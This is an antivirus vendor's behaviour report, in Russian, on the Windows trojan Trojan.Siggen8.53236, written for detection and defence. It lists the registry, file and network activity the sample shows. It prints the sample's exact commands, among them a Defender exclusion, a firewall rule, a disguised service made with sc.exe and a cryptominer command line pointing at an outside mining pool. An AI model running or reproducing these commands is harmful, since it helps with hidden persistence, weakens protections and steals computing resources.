Trojan.Siggen8.53236

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие сервисы

[<HKLM>\System\CurrentControlSet\Services\ylbehudm] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ylbehudm] 'ImagePath' = '%WINDIR%\SysWOW64\ylbehudm\xvefokzv.exe /d"<Полный путь к файлу>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ylbehudm] 'ImagePath' = '%WINDIR%\SysWOW64\ylbehudm\xvefokzv.exe'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса с помощью следующих ключей реестра::

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ylbehudm' = '00000000'

Запускает на исполнение

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\xvefokzv.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Перемещает следующие файлы

%TEMP%\xvefokzv.exe в %WINDIR%\syswow64\ylbehudm\xvefokzv.exe

Самоудаляется.

Сетевая активность

TCP

Запросы HTTP GET

http://www.google.com/

'43.#31.4.7':443

'ar####itrus.com.ar':25

'bs#####2.lightbound.com':25

'sm##.supcon.com':25

'al######x-vip2.prodigy.net':25

'mx#.mail.ru':25

'17#.#11.49.43':423

'93.#79.68.4':423

'46.#.52.109':423

'85.##.119.25':423

'14#.#6.199.2':423

'19#.#.131.101':423

'ma##.##abianshield.com':25

'mx.###ercorp.com.ar':25

'ma##.##abianresults.com':25

'mx###.####fonemail.xion.oxcs.net':25

'ms#####p-mx2.hinet.net':25

'ASPMX.L.GOOGLE.COM':25

'ma##.#st-osaka.jp':25

'ms#####p-mx1.hinet.net':25

'mx###1.qq.com':25

'ma##.##uitecho.com.uy':25

'gmail-smtp-in.l.google.com':25

'mx####.##il.gm0.yahoodns.net':25

'na#.###.#rotection.outlook.com':25

'hk.####n.herominers.com':10451

'ho#########.olc.protection.outlook.com':25

'85.##4.134.88':487

'mx.###learn-inc.com':25

'ma##.#-email.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK me##net.net
DNS ASK mx#.mail.ru
DNS ASK ma#l.ru
DNS ASK sm##.supcon.com
DNS ASK su##on.com
DNS ASK google.com
DNS ASK mw#####.cloud.enovation.net
DNS ASK nl##rg.net
DNS ASK da##m.net
DNS ASK py##red.net
DNS ASK ar####itrus.com.ar
DNS ASK mx#.#omcast.net
DNS ASK ma##.##abianshield.com
DNS ASK ar####nshield.com
DNS ASK ar###anrun.com
DNS ASK ma##.##abianresults.com
DNS ASK ar####nresults.com
DNS ASK mx######91d01.pphosted.com
DNS ASK at#.com
DNS ASK al######x-vip2.prodigy.net
DNS ASK be###outh.net
DNS ASK it##ra.net
DNS ASK co##ast.net
DNS ASK sm##.##cureserver.net
DNS ASK ya###.com.br
DNS ASK ar####obra.com.ar
DNS ASK as###inc.com
DNS ASK ma##.#-email.net
DNS ASK as#####rtgallery.com
DNS ASK ve##zon.net
DNS ASK ar###.com.br
DNS ASK sm####n.orange.fr
DNS ASK wa##doo.fr
DNS ASK so###ore.com.br
DNS ASK vi#####br-mx.terra.com
DNS ASK te###.com.br
DNS ASK mx###.####fonemail.xion.oxcs.net
DNS ASK us.#bm.com
DNS ASK ab##.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK wa###art.com
DNS ASK en#.sun.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK fl####amoves.com
DNS ASK mx.##wway.com
DNS ASK pc##et.net
DNS ASK vi####ltitan.net
DNS ASK mx.###ercorp.com.ar
DNS ASK iq##st.net
DNS ASK bs#####2.lightbound.com
DNS ASK ar##r.de
DNS ASK gm##l.com
DNS ASK mx.#ds.net
DNS ASK td#.net
DNS ASK mx######b2d01.pphosted.com
DNS ASK uk.#bm.com
DNS ASK ln#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK co###serve.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK li##.com.ar
DNS ASK mx.#.#ocaweb.com.br
DNS ASK ch##ter.net
DNS ASK hk.####n.herominers.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK sm###.gencat.cat
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ge##at.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ho##ail.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK am###red.com.br
DNS ASK ms#####p-mx1.hinet.net
DNS ASK to##4.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK ms#####p-mx2.hinet.net
DNS ASK ms##.hinet.net
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK ca####sworks.org
DNS ASK ma##.esc6.net
DNS ASK mx##.###ud.vadesecure.com
DNS ASK aq#####ne-pyrenees.com
DNS ASK ma##.#st-osaka.jp
DNS ASK as###saka.jp
DNS ASK re###.#lobetrotter.net
DNS ASK mx.###learn-inc.com
DNS ASK gl####rotter.net
DNS ASK ms#.#inet.net
DNS ASK li###necorp.net
DNS ASK mx#.###tinger.com.ar
DNS ASK fe#####proyectos.com.ar
DNS ASK ma##.##uitecho.com.uy
DNS ASK aq####cho.com.uy
DNS ASK mx###1.qq.com
DNS ASK di###aba.com
DNS ASK mx##.#and1.co.uk
DNS ASK am##.co.uk
DNS ASK mx#.#harter.net
DNS ASK mt##.##0.yahoodns.net

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\ylbehudm\xvefokzv.exe' /d"<Полный путь к файлу>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ylbehudm\' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xvefokzv.exe" %WINDIR%\SysWOW64\ylbehudm\' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' create ylbehudm binPath= "%WINDIR%\SysWOW64\ylbehudm\xvefokzv.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' description ylbehudm "wifi internet conection"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' start ylbehudm' (со скрытым окном)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ylbehudm\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xvefokzv.exe" %WINDIR%\SysWOW64\ylbehudm\
'%WINDIR%\syswow64\sc.exe' create ylbehudm binPath= "%WINDIR%\SysWOW64\ylbehudm\xvefokzv.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ylbehudm "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ylbehudm
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p 3 -k